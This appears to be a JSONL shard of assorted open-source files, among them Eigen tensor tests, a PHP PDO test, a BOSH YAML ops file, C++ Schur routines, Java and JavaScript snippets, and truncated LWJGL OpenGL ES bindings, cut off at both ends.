\n \n
\n
\n
\n
\n

Page Not Found

\n
\n

The page you're looking for does not exist. It may have been moved.

\n
\n
\n

If you arrived on this page by clicking on a link, please notify the owner of the site that the link is broken.\nIf you typed the URL of this page manually, please double check that you entered the address correctly.

\n
\n
\n
\n
\n\n\n\n \n\n"} +{"text": "{\n \"layers\" : [\n {\n \"filename\" : \"Front.imagestacklayer\"\n },\n {\n \"filename\" : \"Middle.imagestacklayer\"\n },\n {\n \"filename\" : \"Back.imagestacklayer\"\n }\n ],\n \"info\" : {\n \"version\" : 1,\n \"author\" : \"xcode\"\n }\n}\n"} +{"text": "\n\tTrue\n\tTrue\n\tTrue\n\tTrue\n\tTrue"} +{"text": "first mail\n"} +{"text": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n\n\n"} +{"text": "using System;\nusing System.Collections.Generic;\nusing System.Runtime.Serialization;\nusing System.Text;\n\nnamespace Dotmim.Sync.Batch\n{\n [DataContract(Name = \"t\"), Serializable]\n public class BatchPartTableInfo : SyncNamedItem\n {\n public BatchPartTableInfo()\n {\n\n }\n\n public BatchPartTableInfo(string tableName, string schemaName = null)\n {\n this.TableName = tableName;\n this.SchemaName = schemaName;\n }\n\n /// \n /// Gets or sets the name of the table that the DmTableSurrogate object represents.\n /// \n [DataMember(Name = \"n\", IsRequired = true, Order = 1)]\n public string TableName { get; set; }\n\n /// \n /// Get or Set the schema used for the DmTableSurrogate\n /// \n [DataMember(Name = \"s\", IsRequired = false, EmitDefaultValue = false, Order = 2)]\n public string SchemaName { get; set; }\n\n\n public override IEnumerable GetAllNamesProperties()\n {\n yield return this.TableName;\n yield return this.SchemaName;\n\n }\n }\n}\n"} +{"text": "/*\n * Main entry of app process.\n *\n * Starts the interpreted runtime, then starts up the application.\n *\n */\n\n#define LOG_TAG \"appproc\"\n\n\n// POSIX\n//#include \n#include \n#include \n//#include \n\n//#include \n#include \n#include \n// #if 0 // See note in ProcessGlobals.cpp\n// #else\n// #include \"ProcessGlobals.h\"\n// #endif\n//#include \n#include \n//#include \n//#include \n//#include \n//#include \n\n#include \"shashlikversion.h\"\n#include \"AppRuntime.h\"\n#include \"appthread.h\"\n\n#include \n\n#define PROGRAM_NAME \"shashlik-launcher\"\n\nvoid app_usage()\n{\n fprintf(stderr, \"%s %s\\n\", PROGRAM_NAME, SHASHLIK_VERSION_STRING);\n fprintf(stderr,\n\t \"Usage: %s [java-options] cmd-dir start-class-name [options]\\n\",\n\t PROGRAM_NAME);\n}\n\n\n// using namespace shashlik;\nusing namespace android;\n\n\n/*\n * sets argv0 to as much of newArgv0 as will fit\n */\nstatic void setArgv0(const char *argv0, const char *newArgv0)\n{\n#if 0 // temp. disabled to make it build\n strlcpy(const_cast(argv0), newArgv0, strlen(argv0));\n#else\n strncpy(const_cast(argv0), newArgv0, strlen(argv0));\n#endif\n}\n\nint main(int argc, char* argv[])\n{\n// InputArgs args = {argc, argv};\n// StartAppThread(args);\n#ifdef __arm__\n /*\n * b/7188322 - Temporarily revert to the compat memory layout\n * to avoid breaking third party apps.\n *\n * THIS WILL GO AWAY IN A FUTURE ANDROID RELEASE.\n *\n * http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=7dbaa466\n * changes the kernel mapping from bottom up to top-down.\n * This breaks some programs which improperly embed\n * an out of date copy of Android's linker.\n */\n char value[PROPERTY_VALUE_MAX];\n property_get(\"ro.kernel.qemu\", value, \"\");\n bool is_qemu = (strcmp(value, \"1\") == 0);\n if ((getenv(\"NO_ADDR_COMPAT_LAYOUT_FIXUP\") == NULL) && !is_qemu) {\n int current = personality(0xFFFFFFFF);\n if ((current & ADDR_COMPAT_LAYOUT) == 0) {\n personality(current | ADDR_COMPAT_LAYOUT);\n setenv(\"NO_ADDR_COMPAT_LAYOUT_FIXUP\", \"1\", 1);\n execv(\"/system/bin/app_process\", argv);\n return -1;\n }\n }\n unsetenv(\"NO_ADDR_COMPAT_LAYOUT_FIXUP\");\n#endif\n\n // These are global variables in ProcessState.cpp\n// mArgC = argc;\n// mArgV = argv;\n\n// mArgLen = 0;\n// for (int i=0; i\n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#define EIGEN_USE_THREADS\n\n\n#include \"main.h\"\n#include \n#include \n\nusing Eigen::Tensor;\n\n\nvoid test_multithread_elementwise()\n{\n Tensor in1(2,3,7);\n Tensor in2(2,3,7);\n Tensor out(2,3,7);\n\n in1.setRandom();\n in2.setRandom();\n\n Eigen::ThreadPool tp(internal::random(3, 11));\n Eigen::ThreadPoolDevice thread_pool_device(&tp, internal::random(3, 11));\n out.device(thread_pool_device) = in1 + in2 * 3.14f;\n\n for (int i = 0; i < 2; ++i) {\n for (int j = 0; j < 3; ++j) {\n for (int k = 0; k < 7; ++k) {\n VERIFY_IS_APPROX(out(i,j,k), in1(i,j,k) + in2(i,j,k) * 3.14f);\n }\n }\n }\n}\n\n\nvoid test_multithread_compound_assignment()\n{\n Tensor in1(2,3,7);\n Tensor in2(2,3,7);\n Tensor out(2,3,7);\n\n in1.setRandom();\n in2.setRandom();\n\n Eigen::ThreadPool tp(internal::random(3, 11));\n Eigen::ThreadPoolDevice thread_pool_device(&tp, internal::random(3, 11));\n out.device(thread_pool_device) = in1;\n out.device(thread_pool_device) += in2 * 3.14f;\n\n for (int i = 0; i < 2; ++i) {\n for (int j = 0; j < 3; ++j) {\n for (int k = 0; k < 7; ++k) {\n VERIFY_IS_APPROX(out(i,j,k), in1(i,j,k) + in2(i,j,k) * 3.14f);\n }\n }\n }\n}\n\ntemplate\nvoid test_multithread_contraction()\n{\n Tensor t_left(30, 50, 37, 31);\n Tensor t_right(37, 31, 70, 2, 10);\n Tensor t_result(30, 50, 70, 2, 10);\n\n t_left.setRandom();\n t_right.setRandom();\n\n // this contraction should be equivalent to a single matrix multiplication\n typedef Tensor::DimensionPair DimPair;\n Eigen::array dims({{DimPair(2, 0), DimPair(3, 1)}});\n\n typedef Map> MapXf;\n MapXf m_left(t_left.data(), 1500, 1147);\n MapXf m_right(t_right.data(), 1147, 1400);\n Matrix m_result(1500, 1400);\n\n Eigen::ThreadPool tp(4);\n Eigen::ThreadPoolDevice thread_pool_device(&tp, 4);\n\n // compute results by separate methods\n t_result.device(thread_pool_device) = t_left.contract(t_right, dims);\n m_result = m_left * m_right;\n\n for (ptrdiff_t i = 0; i < t_result.size(); i++) {\n VERIFY(&t_result.data()[i] != &m_result.data()[i]);\n if (fabsf(t_result(i) - m_result(i)) < 1e-4f) {\n continue;\n }\n if (Eigen::internal::isApprox(t_result(i), m_result(i), 1e-4f)) {\n continue;\n }\n std::cout << \"mismatch detected at index \" << i << \": \" << t_result(i)\n << \" vs \" << m_result(i) << std::endl;\n assert(false);\n }\n}\n\ntemplate\nvoid test_contraction_corner_cases()\n{\n Tensor t_left(32, 500);\n Tensor t_right(32, 28*28);\n Tensor t_result(500, 28*28);\n\n t_left = (t_left.constant(-0.5f) + t_left.random()) * 2.0f;\n t_right = (t_right.constant(-0.6f) + t_right.random()) * 2.0f;\n t_result = t_result.constant(NAN);\n\n // this contraction should be equivalent to a single matrix multiplication\n typedef Tensor::DimensionPair DimPair;\n Eigen::array dims{{DimPair(0, 0)}};\n\n typedef Map> MapXf;\n MapXf m_left(t_left.data(), 32, 500);\n MapXf m_right(t_right.data(), 32, 28*28);\n Matrix m_result(500, 28*28);\n\n Eigen::ThreadPool tp(12);\n Eigen::ThreadPoolDevice thread_pool_device(&tp, 12);\n\n // compute results by separate methods\n t_result.device(thread_pool_device) = t_left.contract(t_right, dims);\n m_result = m_left.transpose() * m_right;\n\n for (ptrdiff_t i = 0; i < t_result.size(); i++) {\n assert(!(numext::isnan)(t_result.data()[i]));\n if (fabsf(t_result.data()[i] - m_result.data()[i]) >= 1e-4f) {\n std::cout << \"mismatch detected at index \" << i << \" : \" << t_result.data()[i] << \" vs \" << m_result.data()[i] << std::endl;\n assert(false);\n }\n }\n\n t_left.resize(32, 1);\n t_left = (t_left.constant(-0.5f) + t_left.random()) * 2.0f;\n t_result.resize (1, 28*28);\n t_result = t_result.constant(NAN);\n t_result.device(thread_pool_device) = t_left.contract(t_right, dims);\n new(&m_left) MapXf(t_left.data(), 32, 1);\n m_result = m_left.transpose() * m_right;\n for (ptrdiff_t i = 0; i < t_result.size(); i++) {\n assert(!(numext::isnan)(t_result.data()[i]));\n if (fabsf(t_result.data()[i] - m_result.data()[i]) >= 1e-4f) {\n std::cout << \"mismatch detected: \" << t_result.data()[i] << \" vs \" << m_result.data()[i] << std::endl;\n assert(false);\n }\n }\n\n t_left.resize(32, 500);\n t_right.resize(32, 4);\n t_left = (t_left.constant(-0.5f) + t_left.random()) * 2.0f;\n t_right = (t_right.constant(-0.6f) + t_right.random()) * 2.0f;\n t_result.resize (500, 4);\n t_result = t_result.constant(NAN);\n t_result.device(thread_pool_device) = t_left.contract(t_right, dims);\n new(&m_left) MapXf(t_left.data(), 32, 500);\n new(&m_right) MapXf(t_right.data(), 32, 4);\n m_result = m_left.transpose() * m_right;\n for (ptrdiff_t i = 0; i < t_result.size(); i++) {\n assert(!(numext::isnan)(t_result.data()[i]));\n if (fabsf(t_result.data()[i] - m_result.data()[i]) >= 1e-4f) {\n std::cout << \"mismatch detected: \" << t_result.data()[i] << \" vs \" << m_result.data()[i] << std::endl;\n assert(false);\n }\n }\n\n t_left.resize(32, 1);\n t_right.resize(32, 4);\n t_left = (t_left.constant(-0.5f) + t_left.random()) * 2.0f;\n t_right = (t_right.constant(-0.6f) + t_right.random()) * 2.0f;\n t_result.resize (1, 4);\n t_result = t_result.constant(NAN);\n t_result.device(thread_pool_device) = t_left.contract(t_right, dims);\n new(&m_left) MapXf(t_left.data(), 32, 1);\n new(&m_right) MapXf(t_right.data(), 32, 4);\n m_result = m_left.transpose() * m_right;\n for (ptrdiff_t i = 0; i < t_result.size(); i++) {\n assert(!(numext::isnan)(t_result.data()[i]));\n if (fabsf(t_result.data()[i] - m_result.data()[i]) >= 1e-4f) {\n std::cout << \"mismatch detected: \" << t_result.data()[i] << \" vs \" << m_result.data()[i] << std::endl;\n assert(false);\n }\n }\n}\n\ntemplate\nvoid test_multithread_contraction_agrees_with_singlethread() {\n int contract_size = internal::random(1, 5000);\n\n Tensor left(internal::random(1, 80),\n contract_size,\n internal::random(1, 100));\n\n Tensor right(internal::random(1, 25),\n internal::random(1, 37),\n contract_size,\n internal::random(1, 51));\n\n left.setRandom();\n right.setRandom();\n\n // add constants to shift values away from 0 for more precision\n left += left.constant(1.5f);\n right += right.constant(1.5f);\n\n typedef Tensor::DimensionPair DimPair;\n Eigen::array dims({{DimPair(1, 2)}});\n\n Eigen::ThreadPool tp(internal::random(2, 11));\n Eigen::ThreadPoolDevice thread_pool_device(&tp, internal::random(2, 11));\n\n Tensor st_result;\n st_result = left.contract(right, dims);\n\n Tensor tp_result(st_result.dimensions());\n tp_result.device(thread_pool_device) = left.contract(right, dims);\n\n VERIFY(dimensions_match(st_result.dimensions(), tp_result.dimensions()));\n for (ptrdiff_t i = 0; i < st_result.size(); i++) {\n // if both of the values are very small, then do nothing (because the test will fail\n // due to numerical precision issues when values are small)\n if (numext::abs(st_result.data()[i] - tp_result.data()[i]) >= 1e-4f) {\n VERIFY_IS_APPROX(st_result.data()[i], tp_result.data()[i]);\n }\n }\n}\n\n\ntemplate\nvoid test_full_contraction() {\n int contract_size1 = internal::random(1, 500);\n int contract_size2 = internal::random(1, 500);\n\n Tensor left(contract_size1,\n contract_size2);\n Tensor right(contract_size1,\n contract_size2);\n left.setRandom();\n right.setRandom();\n\n // add constants to shift values away from 0 for more precision\n left += left.constant(1.5f);\n right += right.constant(1.5f);\n\n typedef Tensor::DimensionPair DimPair;\n Eigen::array dims({{DimPair(0, 0), DimPair(1, 1)}});\n\n Eigen::ThreadPool tp(internal::random(2, 11));\n Eigen::ThreadPoolDevice thread_pool_device(&tp, internal::random(2, 11));\n\n Tensor st_result;\n st_result = left.contract(right, dims);\n\n Tensor tp_result;\n tp_result.device(thread_pool_device) = left.contract(right, dims);\n\n VERIFY(dimensions_match(st_result.dimensions(), tp_result.dimensions()));\n // if both of the values are very small, then do nothing (because the test will fail\n // due to numerical precision issues when values are small)\n if (numext::abs(st_result() - tp_result()) >= 1e-4f) {\n VERIFY_IS_APPROX(st_result(), tp_result());\n }\n}\n\ntemplate\nvoid test_multithreaded_reductions() {\n const int num_threads = internal::random(3, 11);\n ThreadPool thread_pool(num_threads);\n Eigen::ThreadPoolDevice thread_pool_device(&thread_pool, num_threads);\n\n const int num_rows = internal::random(13, 732);\n const int num_cols = internal::random(13, 732);\n Tensor t1(num_rows, num_cols);\n t1.setRandom();\n\n Tensor full_redux;\n full_redux = t1.sum();\n\n Tensor full_redux_tp;\n full_redux_tp.device(thread_pool_device) = t1.sum();\n\n // Check that the single threaded and the multi threaded reductions return\n // the same result.\n VERIFY_IS_APPROX(full_redux(), full_redux_tp());\n}\n\n\nvoid test_memcpy() {\n\n for (int i = 0; i < 5; ++i) {\n const int num_threads = internal::random(3, 11);\n Eigen::ThreadPool tp(num_threads);\n Eigen::ThreadPoolDevice thread_pool_device(&tp, num_threads);\n\n const int size = internal::random(13, 7632);\n Tensor t1(size);\n t1.setRandom();\n std::vector result(size);\n thread_pool_device.memcpy(&result[0], t1.data(), size*sizeof(float));\n for (int j = 0; j < size; j++) {\n VERIFY_IS_EQUAL(t1(j), result[j]);\n }\n }\n}\n\n\nvoid test_multithread_random()\n{\n Eigen::ThreadPool tp(2);\n Eigen::ThreadPoolDevice device(&tp, 2);\n Tensor t(1 << 20);\n t.device(device) = t.random>();\n}\n\ntemplate\nvoid test_multithread_shuffle()\n{\n Tensor tensor(17,5,7,11);\n tensor.setRandom();\n\n const int num_threads = internal::random(2, 11);\n ThreadPool threads(num_threads);\n Eigen::ThreadPoolDevice device(&threads, num_threads);\n\n Tensor shuffle(7,5,11,17);\n array shuffles = {{2,1,3,0}};\n shuffle.device(device) = tensor.shuffle(shuffles);\n\n for (int i = 0; i < 17; ++i) {\n for (int j = 0; j < 5; ++j) {\n for (int k = 0; k < 7; ++k) {\n for (int l = 0; l < 11; ++l) {\n VERIFY_IS_EQUAL(tensor(i,j,k,l), shuffle(k,j,l,i));\n }\n }\n }\n }\n}\n\n\nvoid test_cxx11_tensor_thread_pool()\n{\n CALL_SUBTEST_1(test_multithread_elementwise());\n CALL_SUBTEST_1(test_multithread_compound_assignment());\n\n CALL_SUBTEST_2(test_multithread_contraction());\n CALL_SUBTEST_2(test_multithread_contraction());\n\n CALL_SUBTEST_3(test_multithread_contraction_agrees_with_singlethread());\n CALL_SUBTEST_3(test_multithread_contraction_agrees_with_singlethread());\n\n // Exercise various cases that have been problematic in the past.\n CALL_SUBTEST_4(test_contraction_corner_cases());\n CALL_SUBTEST_4(test_contraction_corner_cases());\n\n CALL_SUBTEST_4(test_full_contraction());\n CALL_SUBTEST_4(test_full_contraction());\n\n CALL_SUBTEST_5(test_multithreaded_reductions());\n CALL_SUBTEST_5(test_multithreaded_reductions());\n\n CALL_SUBTEST_6(test_memcpy());\n CALL_SUBTEST_6(test_multithread_random());\n CALL_SUBTEST_6(test_multithread_shuffle());\n CALL_SUBTEST_6(test_multithread_shuffle());\n}\n"} +{"text": "package com.learnjava.www.structPatterns.flyweight;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Student {\n\n // 持有缓存\n private static final Map cache = new HashMap<>();\n\n // 静态工厂方法\n public static Student create(int id, String name) {\n String key = id + \"\\n\" + name;\n Student student = cache.get(key);\n if (student == null) {\n // 未找到,创建新对象:\n System.out.println(String.format(\"create new Student(%s, %s)\", id, name));\n student = new Student(id, name);\n // 放入缓存:\n cache.put(key, student);\n\n } else {\n // 缓存中存在:\n System.out.println(String.format(\"return cached Student(%s, %s)\", student.id, student.name));\n }\n\n return student;\n }\n\n private final int id;\n private final String name;\n\n public Student(int id, String name) {\n this.id = id;\n this.name = name;\n }\n}\n"} +{"text": "---\n- type: replace\n path: /releases/-\n value:\n name: bosh-warden-cpi\n version: \"40\"\n url: https://bosh.io/d/github.com/cppforlife/bosh-warden-cpi-release?v=40\n sha1: 9f579b1615bc95494eaa8579728fe4764e3b1e16\n\n- type: replace\n path: /resource_pools/name=vms/stemcell?\n value:\n url: https://bosh.io/d/stemcells/bosh-warden-boshlite-ubuntu-trusty-go_agent?v=3541.10\n sha1: 11c07b63953710d68b7f068e0ecb9cb8f7e64f6a\n\n# Configure VM size\n- type: replace\n path: /resource_pools/name=vms/cloud_properties?\n value:\n ports:\n - host: 22 # todo jumpboxing?\n - host: 6868 # bootstrap agent\n - host: 25555 # director\n - host: 4222 # nats\n - host: 25250 # blobstore\n - host: 8443 # uaa\n - host: 8080 # cfg serv\n\n- type: replace\n path: /cloud_provider/template?\n value: &cpi_job\n name: warden_cpi\n release: bosh-warden-cpi\n\n- type: replace\n path: /cloud_provider/properties/warden_cpi?\n value:\n warden:\n connect_address: ((garden_host)):7777\n connect_network: tcp\n agent: # todo remove\n mbus: \"https://mbus:((mbus_bootstrap_password))@0.0.0.0:6868\"\n blobstore:\n provider: local\n options:\n blobstore_path: /var/vcap/micro_bosh/data/cache\n"} +{"text": "/**\n * Copyright (c) 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule getDocumentScrollElement\n * @typechecks\n */\n\n'use strict';\n\nconst isWebkit = typeof navigator !== 'undefined' && navigator.userAgent.indexOf('AppleWebKit') > -1;\n\n/**\n * Gets the element with the document scroll properties such as `scrollLeft` and\n * `scrollHeight`. This may differ across different browsers.\n *\n * NOTE: The return value can be null if the DOM is not yet ready.\n *\n * @param {?DOMDocument} doc Defaults to current document.\n * @return {?DOMElement}\n */\nfunction getDocumentScrollElement(doc) {\n doc = doc || document;\n return !isWebkit && doc.compatMode === 'CSS1Compat' ? doc.documentElement : doc.body;\n}\n\nmodule.exports = getDocumentScrollElement;"} +{"text": "/*\n Copyright (c) 2009-2016, Jack Poulson\n All rights reserved.\n\n This file is part of Elemental and is under the BSD 2-Clause License, \n which can be found in the LICENSE file in the root directory, or at \n http://opensource.org/licenses/BSD-2-Clause\n*/\n#include \n\n#include \"./Schur/CheckReal.hpp\"\n#include \"./Schur/RealToComplex.hpp\"\n#include \"./Schur/QuasiTriangEig.hpp\"\n#include \"./Schur/Condense.hpp\"\n#include \"./Schur/SDC.hpp\"\n#include \"./Schur/InverseFreeSDC.hpp\"\n\nnamespace El {\n\ntemplate\nvoid Schur\n( Matrix& A,\n Matrix>>& w,\n const SchurCtrl>& ctrl )\n{\n EL_DEBUG_CSE\n const bool fullTriangle = ctrl.hessSchurCtrl.fullTriangle;\n if( ctrl.useSDC )\n {\n if( fullTriangle )\n {\n Matrix Q;\n schur::SDC( A, w, Q, fullTriangle, ctrl.sdcCtrl );\n }\n else\n schur::SDC( A, w, ctrl.sdcCtrl );\n }\n else\n schur::Condense( A, w, ctrl );\n}\n\ntemplate\nvoid Schur\n( Matrix& A,\n Matrix>>& w,\n Matrix& Q,\n const SchurCtrl>& ctrl )\n{\n EL_DEBUG_CSE\n const bool fullTriangle = ctrl.hessSchurCtrl.fullTriangle;\n if( ctrl.useSDC )\n schur::SDC( A, w, Q, fullTriangle, ctrl.sdcCtrl );\n else\n schur::Condense( A, w, Q, ctrl );\n}\n\ntemplate\nvoid Schur\n( AbstractDistMatrix& A,\n AbstractDistMatrix>>& w, \n const SchurCtrl>& ctrl )\n{\n EL_DEBUG_CSE\n const bool fullTriangle = ctrl.hessSchurCtrl.fullTriangle;\n if( ctrl.useSDC )\n {\n if( fullTriangle )\n {\n DistMatrix Q(A.Grid());\n schur::SDC( A, w, Q, fullTriangle, ctrl.sdcCtrl );\n }\n else\n schur::SDC( A, w, ctrl.sdcCtrl );\n }\n else\n {\n schur::Condense( A, w, ctrl );\n }\n}\n\ntemplate\nvoid Schur\n( AbstractDistMatrix& A,\n AbstractDistMatrix>>& w, \n AbstractDistMatrix& Q,\n const SchurCtrl>& ctrl )\n{\n EL_DEBUG_CSE\n const bool fullTriangle = ctrl.hessSchurCtrl.fullTriangle;\n if( ctrl.useSDC )\n schur::SDC( A, w, Q, fullTriangle, ctrl.sdcCtrl );\n else\n schur::Condense( A, w, Q, ctrl );\n}\n\n#define PROTO(F) \\\n template void Schur \\\n ( Matrix& A, \\\n Matrix>>& w, \\\n const SchurCtrl>& ctrl ); \\\n template void Schur \\\n ( AbstractDistMatrix& A, \\\n AbstractDistMatrix>>& w, \\\n const SchurCtrl>& ctrl ); \\\n template void Schur \\\n ( Matrix& A, \\\n Matrix>>& w, \\\n Matrix& Q, \\\n const SchurCtrl>& ctrl ); \\\n template void Schur \\\n ( AbstractDistMatrix& A, \\\n AbstractDistMatrix>>& w, \\\n AbstractDistMatrix& Q, \\\n const SchurCtrl>& ctrl ); \\\n template void schur::CheckRealSchur \\\n ( const Matrix& U, bool standardForm ); \\\n template void schur::CheckRealSchur \\\n ( const AbstractDistMatrix& U, bool standardForm ); \\\n template void schur::QuasiTriangEig \\\n ( const Matrix& dMain, \\\n const Matrix& dSub, \\\n const Matrix& dSup, \\\n Matrix>>& w ); \\\n template void schur::QuasiTriangEig \\\n ( const Matrix& U, \\\n Matrix>>& w ); \\\n template Matrix>> schur::QuasiTriangEig \\\n ( const Matrix& U ); \\\n template DistMatrix>,VR,STAR> \\\n schur::QuasiTriangEig( const AbstractDistMatrix& U ); \\\n template void schur::QuasiTriangEig \\\n ( const AbstractDistMatrix& U, \\\n AbstractDistMatrix>>& w );\n\n#define PROTO_REAL(Real) \\\n PROTO(Real) \\\n template void schur::RealToComplex \\\n ( const Matrix& UQuasi, \\\n Matrix>& U ); \\\n template void schur::RealToComplex \\\n ( const Matrix& UQuasi, \\\n const Matrix& QQuasi, \\\n Matrix>& U, \\\n Matrix>& Q ); \\\n template void schur::RealToComplex \\\n ( const AbstractDistMatrix& UQuasi, \\\n AbstractDistMatrix>& U ); \\\n template void schur::RealToComplex \\\n ( const AbstractDistMatrix& UQuasi, \\\n const AbstractDistMatrix& QQuasi, \\\n AbstractDistMatrix>& U, \\\n AbstractDistMatrix>& Q );\n\n#define EL_NO_INT_PROTO\n#define EL_ENABLE_DOUBLEDOUBLE\n#define EL_ENABLE_QUADDOUBLE\n#define EL_ENABLE_QUAD\n#define EL_ENABLE_BIGFLOAT\n#include \n\n} // namespace El\n"} +{"text": "--TEST--\nBug #44327.2 (PDORow::queryString property & numeric offsets / Crash)\n--SKIPIF--\n\n--FILE--\nquery('select 1 as queryString');\nvar_dump($x, $x->queryString);\n\n$y = $x->fetch();\nvar_dump($y, @$y->queryString);\n\nprint \"--------------------------------------------\\n\";\n\n$x = $db->query('select 1 as queryString');\nvar_dump($x, $x->queryString);\n\n$y = $x->fetch(PDO::FETCH_LAZY);\nvar_dump($y, $y->queryString);\n\n?>\n--EXPECTF--\nobject(PDOStatement)#%d (1) {\n [\"queryString\"]=>\n string(23) \"select 1 as queryString\"\n}\nstring(23) \"select 1 as queryString\"\narray(2) {\n [\"queryString\"]=>\n string(1) \"1\"\n [0]=>\n string(1) \"1\"\n}\nNULL\n--------------------------------------------\nobject(PDOStatement)#%d (1) {\n [\"queryString\"]=>\n string(23) \"select 1 as queryString\"\n}\nstring(23) \"select 1 as queryString\"\nobject(PDORow)#%d (1) {\n [\"queryString\"]=>\n string(1) \"1\"\n}\nstring(1) \"1\"\n"} +{"text": "/*\n * Copyright LWJGL. All rights reserved.\n * License terms: https://www.lwjgl.org/license\n * MACHINE GENERATED FILE, DO NOT EDIT\n */\npackage org.lwjgl.opengles;\n\nimport java.nio.*;\n\nimport org.lwjgl.system.*;\n\nimport static org.lwjgl.system.MemoryUtil.*;\n\n/**\n * Native bindings to the EXT_base_instance extension.\n * \n *

This extension allows the offset within buffer objects used for instanced rendering to be specified. This is congruent with the {@code first} parameter\n * in glDrawArrays and the {@code basevertex} parameter in glDrawElements. When instanced rendering is performed (for example, through\n * glDrawArraysInstanced), instanced vertex attributes whose vertex attribute divisors are non-zero are fetched from enabled vertex arrays per-instance\n * rather than per-vertex. However, in unextended OpenGL ES, there is no way to define the offset into those arrays from which the attributes are fetched.\n * This extension adds that offset in the form of a {@code baseinstance} parameter to several new procedures.

\n * \n *

The {@code baseinstance} parameter is added to the index of the array element, after division by the vertex attribute divisor. This allows several sets of\n * instanced vertex attribute data to be stored in a single vertex array, and the base offset of that data to be specified for each draw. Further, this\n * extension exposes the {@code baseinstance} parameter as the final and previously undefined structure member of the draw-indirect data structure.

\n * \n *

Requires {@link GLES30 GLES 3.0}.

\n */\npublic class EXTBaseInstance {\n\n static { GLES.initialize(); }\n\n protected EXTBaseInstance() {\n throw new UnsupportedOperationException();\n }\n\n // --- [ glDrawArraysInstancedBaseInstanceEXT ] ---\n\n public static native void glDrawArraysInstancedBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"GLint\") int first, @NativeType(\"GLsizei\") int count, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLuint\") int baseinstance);\n\n // --- [ glDrawElementsInstancedBaseInstanceEXT ] ---\n\n public static native void nglDrawElementsInstancedBaseInstanceEXT(int mode, int count, int type, long indices, int instancecount, int baseinstance);\n\n public static void glDrawElementsInstancedBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"GLsizei\") int count, @NativeType(\"GLenum\") int type, @NativeType(\"void const *\") long indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseInstanceEXT(mode, count, type, indices, instancecount, baseinstance);\n }\n\n public static void glDrawElementsInstancedBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"GLenum\") int type, @NativeType(\"void const *\") ByteBuffer indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseInstanceEXT(mode, indices.remaining() >> GLESChecks.typeToByteShift(type), type, memAddress(indices), instancecount, baseinstance);\n }\n\n public static void glDrawElementsInstancedBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"void const *\") ByteBuffer indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseInstanceEXT(mode, indices.remaining(), GLES20.GL_UNSIGNED_BYTE, memAddress(indices), instancecount, baseinstance);\n }\n\n public static void glDrawElementsInstancedBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"void const *\") ShortBuffer indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseInstanceEXT(mode, indices.remaining(), GLES20.GL_UNSIGNED_SHORT, memAddress(indices), instancecount, baseinstance);\n }\n\n public static void glDrawElementsInstancedBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"void const *\") IntBuffer indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseInstanceEXT(mode, indices.remaining(), GLES20.GL_UNSIGNED_INT, memAddress(indices), instancecount, baseinstance);\n }\n\n // --- [ glDrawElementsInstancedBaseVertexBaseInstanceEXT ] ---\n\n public static native void nglDrawElementsInstancedBaseVertexBaseInstanceEXT(int mode, int count, int type, long indices, int instancecount, int basevertex, int baseinstance);\n\n public static void glDrawElementsInstancedBaseVertexBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"GLsizei\") int count, @NativeType(\"GLenum\") int type, @NativeType(\"void const *\") long indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLint\") int basevertex, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseVertexBaseInstanceEXT(mode, count, type, indices, instancecount, basevertex, baseinstance);\n }\n\n public static void glDrawElementsInstancedBaseVertexBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"GLenum\") int type, @NativeType(\"void const *\") ByteBuffer indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLint\") int basevertex, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseVertexBaseInstanceEXT(mode, indices.remaining() >> GLESChecks.typeToByteShift(type), type, memAddress(indices), instancecount, basevertex, baseinstance);\n }\n\n public static void glDrawElementsInstancedBaseVertexBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"void const *\") ByteBuffer indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLint\") int basevertex, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseVertexBaseInstanceEXT(mode, indices.remaining(), GLES20.GL_UNSIGNED_BYTE, memAddress(indices), instancecount, basevertex, baseinstance);\n }\n\n public static void glDrawElementsInstancedBaseVertexBaseInstanceEXT(@NativeType(\"GLenum\") int mode, @NativeType(\"void const *\") ShortBuffer indices, @NativeType(\"GLsizei\") int instancecount, @NativeType(\"GLint\") int basevertex, @NativeType(\"GLuint\") int baseinstance) {\n nglDrawElementsInstancedBaseVertexBaseInstanceEXT(mode, 